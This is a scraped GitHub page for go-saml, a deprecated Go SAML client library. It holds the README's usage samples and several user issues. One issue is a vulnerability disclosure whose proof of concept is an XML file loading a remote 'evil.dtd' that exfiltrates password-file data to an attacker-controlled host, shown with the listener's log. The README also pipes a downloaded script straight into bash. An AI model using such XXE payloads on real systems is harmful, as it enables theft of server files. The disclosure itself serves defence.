GithubHelp home page GithubHelp logo

go-saml's Introduction

Unsupported

Unfortunately, the decision has been made to sunset support for this project. We thank everyone for supporting and utilizing the project.

Couple of alternatives could be https://github.com/russellhaering/gosaml2 or maybe https://github.com/crewjam/saml. These are solely suggestions to start the look for an alternative and are not an endorsement by RNP. We've not done a code review of these repos. We recommend doing a vetting pass on the repository prior to integrating any third party dependencies.

go-saml

Build Status

A just good enough SAML client library written in Go. This library is by no means complete and has been developed to solve several specific integration efforts. However, it's a start, and it would be great to see it evolve into a more fleshed out implemention.

Inspired by the early work of Matt Baird.

The library supports:

  • generating signed/unsigned AuthnRequests
  • validating signed AuthnRequests
  • generating service provider metadata
  • generating signed Responses
  • validating signed Responses

Installation

$ go get github.com/RobotsAndPencils/go-saml

Here's a convenient way to generate a certificate:

curl -sSL https://raw.githubusercontent.com/frntn/x509-san/master/gencert.sh | CRT_CN="mycert"  bash

Usage

Below are samples to show how you might use the library.

Generating Signed AuthnRequests

sp := saml.ServiceProviderSettings{
  PublicCertPath:              "../default.crt",
  PrivateKeyPath:              "../default.key",
  IDPSSOURL:                   "http://idp/saml2",
  IDPSSODescriptorURL:         "http://idp/issuer",
  IDPPublicCertPath:           "idpcert.crt",
  SPSignRequest:               "true",
  AssertionConsumerServiceURL: "http://localhost:8000/saml_consume",
}
sp.Init()

// generate the AuthnRequest and then get a base64 encoded string of the XML
authnRequest := sp.GetAuthnRequest()
b64XML, err := authnRequest.EncodedSignedString(sp.PrivateKeyPath)
if err != nil {
  panic(err)
}

// for convenience, get a URL formed with the SAMLRequest parameter
url, err := saml.GetAuthnRequestURL(sp.IDPSSOURL, b64XML)
if err != nil {
  panic(err)
}

// below is bonus for how you might respond to a request with a form that POSTs to the IdP
data := struct {
  Base64AuthRequest string
  URL               string
}{
  Base64AuthRequest: b64XML,
  URL:               url,
}

t := template.New("saml")
t, err = t.Parse("<html><body style=\"display: none\" onload=\"document.frm.submit()\"><form method=\"post\" name=\"frm\" action=\"{{.URL}}\"><input type=\"hidden\" name=\"SAMLRequest\" value=\"{{.Base64AuthRequest}}\" /><input type=\"submit\" value=\"Submit\" /></form></body></html>")

// how you might respond to a request with the templated form that will auto post
t.Execute(w, data)

Validating a received SAML Response

response = http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
  encodedXML := r.FormValue("SAMLResponse")

  if encodedXML == "" {
    httpcommon.SendBadRequest(w, "SAMLResponse form value missing")
    return
  }

  response, err := saml.ParseEncodedResponse(encodedXML)
  if err != nil {
    httpcommon.SendBadRequest(w, "SAMLResponse parse: "+err.Error())
    return
  }

  err = response.Validate(&sp)
  if err != nil {
    httpcommon.SendBadRequest(w, "SAMLResponse validation: "+err.Error())
    return
  }

  samlID := response.GetAttribute("uid")
  if samlID == "" {
    httpcommon.SendBadRequest(w, "SAML attribute identifier uid missing")
    return
  }

  //...
}

Service provider metadata

func samlMetadataHandler(sp *saml.ServiceProviderSettings) http.Handler {
	return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
		md, err := sp.GetEntityDescriptor()
		if err != nil {
      w.WriteHeader(500)
      w.Write([]byte("Error: " + err.Error()))
			return
		}

		w.Header().Set("Content-Type", "application/xml")
		w.Write([]byte(md))
	})
}

Receiving a authnRequest

b64Request := r.URL.Query().Get("SAMLRequest")
if b64Request == "" {
  w.WriteHeader(400)
  w.Write([]byte("SAMLRequest parameter missing"))
  return
}

defated, err := base64.StdEncoding.DecodeString(b64Request)
if err != nil {
  w.WriteHeader(500)
  w.Write([]byte("Error: " + err.Error()))
  return
}

// enflate and unmarshal
var buffer bytes.Buffer
rdr := flate.NewReader(bytes.NewReader(defated))
io.Copy(&buffer, rdr)
var authnRequest saml.AuthnRequest

err = xml.Unmarshal(buffer.Bytes(), &authnRequest)
if err != nil {
  w.WriteHeader(500)
  w.Write([]byte("Error: " + err.Error()))
  return
}

if authnRequest.Issuer.Url != issuerURL {
  w.WriteHeader(500)
  w.Write([]byte("unauthorized issuer "+authnRequest.Issuer.Url))
  return
}

Creating a SAML Response (if acting as an IdP)

issuer := "http://localhost:8000/saml"
authnResponse := saml.NewSignedResponse()
authnResponse.Issuer.Url = issuer
authnResponse.Assertion.Issuer.Url = issuer
authnResponse.Signature.KeyInfo.X509Data.X509Certificate.Cert = stringValueOfCert
authnResponse.Assertion.Subject.NameID.Value = userIdThatYouAuthenticated
authnResponse.AddAttribute("uid", userIdThatYouAuthenticated)
authnResponse.AddAttribute("email", "someone@domain")
authnResponse.Assertion.Subject.SubjectConfirmation.SubjectConfirmationData.InResponseTo = authnRequestIdRespondingTo
authnResponse.InResponseTo = authnRequestIdRespondingTo
authnResponse.Assertion.Subject.SubjectConfirmation.SubjectConfirmationData.Recipient = issuer

// signed XML string
signed, err := authnResponse.SignedString("/path/to/private.key")

// or signed base64 encoded XML string
b64XML, err := authnResponse.EncodedSignedString("/path/to/private.key")

Contributing

Would love any contributions you having including better documentation, tests, or more robust functionality.

git clone [email protected]:RobotsAndPencils/go-saml.git
make init
make test

Contact

Robots & Pencils Logo

Made with ❤️ by Robots & Pencils (@robotsNpencils)

Maintainers

go-saml's People

Contributors

calpicow avatar chris-skud avatar mbrevoort avatar philhug avatar radeksimko avatar shawnps avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

go-saml's Issues

Unable to generate correct SAML Response

In our project, we have to enable SSO in which the service provider will be Salesforce and Identity Provider will be the Golang code. Golang code will first verify the user then it will generate a SAML response to allow a user to login to Salesforce.
I am new to Golang and following Creating a SAML Response (if acting as an IdP) of this library. So, far I am able to create a SAML response using it but facing some challenges in customizing it as per requirement.

  1. The first challenge I was facing is to add AudienceRestriction in the Conditions block as below:-

<saml:Conditions NotBefore="2020-03-15T16:33:16.23103491Z" NotOnOrAfter="2020-03-15T16:43:16.23104017Z">
saml:AudienceRestriction
saml:Audiencehttps://saml.salesforce.com</saml:Audience>
</saml:AudienceRestriction>
</saml:Conditions>

I have tried to add it like below in the code, but it seems Conditions is not defined in authnResponse object.

authnResponse := saml.NewSignedResponse()
authnResponse.Conditions.AudienceRestrictions = "https://saml.salesforce.com"

I don't find any way to add the above block in the Conditions block which is mandatory for Salesforce. Please suggest me some way to do so.

  1. Even after manually adding the above block in the SAML response, I am getting the below error while validating the SAML response using the Salesforce SAML validator

Validating the Signature...
Is the response signed? true
Is the assertion signed? false
The reference in the response signature is valid
Is the correct certificate supplied in the keyinfo? true
Signature or certificate problems
The signature in the response is not valid

I have no idea why I am getting Signature Invalid error. Please let me know if you have any suggestions for me.

  1. I also have to add AuthnStatement below the Conditions block as below:-

<saml:AuthnStatement AuthnInstant="2020-03-01T11:28:31.396Z">
saml:AuthnContext saml:AuthnContextClassRefurn:oasis:names:tc:SAML:2.0:ac:classes:unspecified</saml:AuthnContextClassRef>
</saml:AuthnContext>
</saml:AuthnStatement>

In case you want to check my Golang code - https://play.golang.org/p/U9dXZblTHG1

compute xmlsec in native go code

currently the xmlsec1 binary is invoked for every signature create and verification.
for production code this should be replaced by a native go library or a by using the C library.

Generates invalid metadata?

The generated metadata includes this clause:

 <md:Extensions xmlns:alg="urn:oasis:names:tc:SAML:metadata:algsupport" xmlns:mdattr="urn:oasis:names:tc:SAML:metadata:attribute" xmlns:mdrpi="urn:oasis:names:tc:SAML:metadata:rpi">
        <EntityAttributes></EntityAttributes>
    </md:Extensions>

This is flagged as invalid according to the XSD schema when validated using https://www.samltool.com/validate_xml.php

In addition, https://www.testshib.org/ refuses the file as invalid.

If I delete the entire <md:Extensions> element from the generated metadata, the file then validates and is also accepted by testshib.org. Since the element doesn't seem to contain any actual information, I'm guessing it isn't needed.

GetAuthnRequestURL has new, undocumented parameter

It appears that there's a new variable in GetAuthnRequestURL called state which refers to the Relay State of the request. However, in the usage documentation in the README, the variable is not accounted for. I would add the usage myself, but I'm unsure of the purpose of the parameter.

SP settings shouldn't need local path to IDP Metadata

Right now the settings config and init require a local path to the file of the IDP meta data. This is not desirable since many multi tenant programs would load this config dynamically from db or have it injected in test, or even just point at the live URL from IDP to get meta data each time. As the library stands today must download this xml, save it locally (in cloud serverless env its not ideal to rely on saving to local file system) to the get file path to just pass to this library....

XXE Vulnerability

Description

An XML External Entity attack is a type of attack against an application that parses XML input. This attack occurs when XML input containing a reference to an external entity is processed by a weakly configured XML parser. This attack may lead to the disclosure of confidential data, denial of service, server side request forgery, port scanning from the perspective of the machine where the parser is located, and other system impacts.

Whenever xmlsec verifies, encrypt, decrypt an XML document the parse by default reads external entities resulting on an XXE Vulnerability.

The vulnerable code
xmlsec.go

https://github.com/RobotsAndPencils/go-saml/blob/master/xmlsec.go#L51

    // fmt.Println("xmlsec1", "--sign", "--privkey-pem", privateKeyPath,
    //  "--id-attr:ID", id,
    //  "--output", samlXmlsecOutput.Name(), samlXmlsecInput.Name())
    output, err := exec.Command("xmlsec1", "--sign", "--privkey-pem", privateKeyPath,
        "--id-attr:ID", id,
        "--output", samlXmlsecOutput.Name(), samlXmlsecInput.Name()).CombinedOutput()
    if err != nil {
        return "", errors.New(err.Error() + " : " + string(output))
    }

https://github.com/RobotsAndPencils/go-saml/blob/master/xmlsec.go#L92

    defer deleteTempFile(samlXmlsecInput.Name())

    //fmt.Println("xmlsec1", "--verify", "--pubkey-cert-pem", publicCertPath, "--id-attr:ID", id, samlXmlsecInput.Name())
    _, err = exec.Command("xmlsec1", "--verify", "--pubkey-cert-pem", publicCertPath, "--id-attr:ID", id, samlXmlsecInput.Name()).CombinedOutput()
    if err != nil {
        return errors.New("error verifing signature: " + err.Error())
    }
    return nil

Proof of Concept of xmlsec

$ cat input.xml 
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://192.168.3.1/evil.dtd"> %remote;]>
Running a fake command to test:
matt at バトー in /tmp
$ xmlsec1 --verify --output /tmp/output.xml /tmp/input.xml 
http://192.168.3.2/evil.dtd:1: parser warning : not validating will not read content for PE entity data
passwd"><!ENTITY % param1 "<!ENTITY exfil SYSTEM 'http://192.168.3.2/?%data;'>"
                                                                               ^
/tmp/input.xml:2: parser error : Start tag expected, '<' not found

^
Error: failed to parse xml file "/tmp/input.xml"
Error: failed to load document "/tmp/input.xml"
ERROR
SignedInfo References (ok/all): 0/0
Manifests References (ok/all): 0/0
Error: failed to verify file "/tmp/input.xml"

Listener:

❯❯❯ ruby server_only.rb 
Puma 2.14.0 starting...
* Min threads: 0, max threads: 16
* Environment: development
* Listening on tcp://192.168.3.1:80
== Sinatra (v1.4.6) has taken the stage on 80 for development with backup from Puma
The Server is Vulnerable | IP 192.168.3.2 | Path /evil.dtd
The Server is Vulnerable | IP 192.168.3.2 | Path /evil.dtd
The Server is Vulnerable | IP 192.168.3.2 | Path /evil.dtd
Note: The same results were found as a result of trying to encrypt or decyrpt content.

Recommendations

Even though the vulnerability is not directly responsible to go-saml. It is my recommendation that the go-saml library be more proactive and pre-filters any external DTDs by not allowing any of those during the marshall/unmarshall, instead of using the originalString at the time of signed/verify the SAML XML string using the vulnerable version of xmlsec/libxml2 libraries until the time the vulnerability can be correctly patched by itself.

For more information refer to:

EncodedSignedString error

Doing this...
authnRequest := sp.GetAuthnRequest()
b64XML, err := authnRequest.EncodedSignedString(sp.PrivateKeyPath)

getting this error
EncodedSignedString, error=&{%!e(string=exec: "xmlsec1": executable file not found in $PATH : )}","sta

the file exists and has a valid private key content in it....any ideas?

remove using panic

Seems this code will panic and crash program if it has errors, like loading the IDP metad file during sp settings init. Should just use errors Ideally as this is lib included in part of larger program, dont ever want a panic.

Attributes with multiple values.

It is possible that attributes will have multiple values. Currently the model will only keep one of the attribute values and drop the rest. Started looking at it and it might be tricky to do while maintaining backward compatibility without being confusing.

IDP metadata support

For IDP initiated workflow to just generate a SAMLResponse to send to an SP, seems this library can create the response, but any example how to configure and generate the metadata as an IDP? supported?

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.